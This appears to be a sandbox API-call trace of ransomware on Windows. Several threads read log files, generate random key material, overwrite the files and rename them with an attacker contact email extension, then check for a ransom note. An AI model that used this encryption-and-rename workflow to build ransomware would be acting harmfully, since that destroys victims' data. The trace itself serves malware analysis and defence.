	[0083.464] wcscat (in: _Dest=0x4925518, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.464] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2763f800, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0083.464] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x2763f7f8, FileInformation=0x2e43fe0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0083.464] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0083.464] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719530) returned 1
	[0083.464] NtQueryInformationFile (in: FileHandle=0x16ec, IoStatusBlock=0x2763f80c, FileInformation=0x2763f7e4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2763f80c, FileInformation=0x2763f7e4) returned 0x0
	[0083.465] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x2763f80c, FileInformation=0x2763f7e4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925518) returned 1
	[0083.465] FlushFileBuffers (hFile=0x16ec) returned 1
	[0083.466] CloseHandle (hObject=0x16ec) returned 1
	[0083.468] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0083.468] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.468] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.468] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.468] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0083.468] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bce10) returned 1

Thread:
	id = 1120
	os_tid = 0x1df0

	[0083.459] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.003.etl")) returned 0x2020
	[0083.460] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl", dwFileAttributes=0x20) returned 1
	[0083.461] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.003.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16e8
	[0083.466] GetFileSizeEx (in: hFile=0x16e8, lpFileSize=0x276bfec4 | out: lpFileSize=0x276bfec4*=8192) returned 1
	[0083.469] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.469] ReadFile (in: hFile=0x16e8, lpBuffer=0x276bfe48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x276bfe44, lpOverlapped=0x0 | out: lpBuffer=0x276bfe48*, lpNumberOfBytesRead=0x276bfe44*=0x4, lpOverlapped=0x0) returned 1
	[0083.470] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0083.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.470] NtQuerySystemTime (in: CurrentTime=0x276bfe24 | out: CurrentTime=0x276bfe24*=132251868102026150) returned 0x0
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x8e1e59af
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x9c79bd35
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x7dd4eb0b
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0xacf0174a
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0xf8aefc30
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x8c19b9b4
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0xaee539b2
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0xeeef4dff
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x3d07053b
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0xfa1cd8fe
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0xde96fc03
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0xfa977c3c
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x3c48707d
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x7244c68e
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x13024e7d
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x10522995
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x55dcc202
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x37d12d2f
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x56895125
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x7607b382
	[0083.470] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x384753dc
	[0083.471] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0xbffa6b27
	[0083.471] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x52803f63
	[0083.471] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x4b97fd99
	[0083.471] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0xe94621f9
	[0083.471] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x1f40339e
	[0083.471] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0xa1169851
	[0083.471] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x20c8b754
	[0083.471] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0xabe791c0
	[0083.471] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x3c8a00c8
	[0083.471] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0xba06c211
	[0083.471] RtlRandom (in: Seed=0x276bfe30 | out: Seed=0x276bfe30) returned 0x50099016
	[0083.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0083.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb030
	[0083.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.479] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4877040
	[0083.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4883848
	[0083.479] ReadFile (in: hFile=0x16e8, lpBuffer=0x4877040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x276bfe20, lpOverlapped=0x0 | out: lpBuffer=0x4877040*, lpNumberOfBytesRead=0x276bfe20*=0x2000, lpOverlapped=0x0) returned 1
	[0083.480] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.480] WriteFile (in: hFile=0x16e8, lpBuffer=0x4883848*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x276bfe1c, lpOverlapped=0x0 | out: lpBuffer=0x4883848*, lpNumberOfBytesWritten=0x276bfe1c*=0x2000, lpOverlapped=0x0) returned 1
	[0083.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4883848) returned 1
	[0083.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4877040) returned 1
	[0083.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb030) returned 1
	[0083.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776010
	[0083.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4775f70
	[0083.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.482] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.482] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x2d62e78
	[0083.482] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.482] WriteFile (in: hFile=0x16e8, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x276bfe84, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x276bfe84*=0x129, lpOverlapped=0x0) returned 1
	[0083.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0083.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775f70) returned 1
	[0083.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0083.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925518
	[0083.485] wcscpy (in: _Dest=0x4925518, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl"
	[0083.485] wcscat (in: _Dest=0x4925518, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.485] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x276bfe3c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0083.485] NtSetInformationFile (FileHandle=0x16e8, IoStatusBlock=0x276bfe34, FileInformation=0x2e43fe0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0083.486] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0083.486] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719530) returned 1
	[0083.486] NtQueryInformationFile (in: FileHandle=0x16e8, IoStatusBlock=0x276bfe48, FileInformation=0x276bfe20, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x276bfe48, FileInformation=0x276bfe20) returned 0x0
	[0083.486] NtSetInformationFile (FileHandle=0x16e8, IoStatusBlock=0x276bfe48, FileInformation=0x276bfe20, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925518) returned 1
	[0083.487] FlushFileBuffers (hFile=0x16e8) returned 1
	[0083.488] CloseHandle (hObject=0x16e8) returned 1
	[0083.489] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0083.489] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.489] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.489] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0083.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bce90) returned 1

Thread:
	id = 1121
	os_tid = 0x1df4

	[0083.480] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.004.etl")) returned 0x2020
	[0083.483] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl", dwFileAttributes=0x20) returned 1
	[0083.484] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.004.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16ec
	[0083.487] GetFileSizeEx (in: hFile=0x16ec, lpFileSize=0x2773f8f0 | out: lpFileSize=0x2773f8f0*=8192) returned 1
	[0083.490] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.490] ReadFile (in: hFile=0x16ec, lpBuffer=0x2773f874, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2773f870, lpOverlapped=0x0 | out: lpBuffer=0x2773f874*, lpNumberOfBytesRead=0x2773f870*=0x4, lpOverlapped=0x0) returned 1
	[0083.491] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0083.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.491] NtQuerySystemTime (in: CurrentTime=0x2773f850 | out: CurrentTime=0x2773f850*=132251868102338008) returned 0x0
	[0083.491] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xa113e53c
	[0083.491] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xce8a4cef
	[0083.491] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x6777cdc7
	[0083.491] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x2cb251f9
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x53673043
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x4e8b7ca
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xabd0c687
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x8f4ade7b
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x9a92a205
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xb739aceb
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xdc3d4a72
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xf2a9d6bb
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xfbc9aaa3
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xd0685a30
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x61dbef22
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x37c370c4
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xb4d38c34
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xe86aac6c
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x1d2bd468
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x6fdb88c0
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x29c172c8
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x9948ba3e
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xa44261f8
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x6eba4d09
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xea41aeba
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x181b2881
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xdef8d95e
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xea56acac
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xd29032f3
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0x8371f2bd
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xce1e5e92
	[0083.492] RtlRandom (in: Seed=0x2773f85c | out: Seed=0x2773f85c) returned 0xb625f06b
	[0083.500] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0083.500] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.500] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb030
	[0083.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4877040
	[0083.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4883848
	[0083.501] ReadFile (in: hFile=0x16ec, lpBuffer=0x4877040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2773f84c, lpOverlapped=0x0 | out: lpBuffer=0x4877040*, lpNumberOfBytesRead=0x2773f84c*=0x2000, lpOverlapped=0x0) returned 1
	[0083.504] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.504] WriteFile (in: hFile=0x16ec, lpBuffer=0x4883848*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2773f848, lpOverlapped=0x0 | out: lpBuffer=0x4883848*, lpNumberOfBytesWritten=0x2773f848*=0x2000, lpOverlapped=0x0) returned 1
	[0083.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4883848) returned 1
	[0083.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4877040) returned 1
	[0083.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb030) returned 1
	[0083.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776010
	[0083.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4775f70
	[0083.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x2d62e78
	[0083.506] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.506] WriteFile (in: hFile=0x16ec, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x2773f8b0, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x2773f8b0*=0x129, lpOverlapped=0x0) returned 1
	[0083.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0083.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775f70) returned 1
	[0083.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0083.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925518
	[0083.510] wcscpy (in: _Dest=0x4925518, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl"
	[0083.510] wcscat (in: _Dest=0x4925518, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.510] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2773f868, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0083.510] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x2773f860, FileInformation=0x2e43fe0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0083.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0083.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719530) returned 1
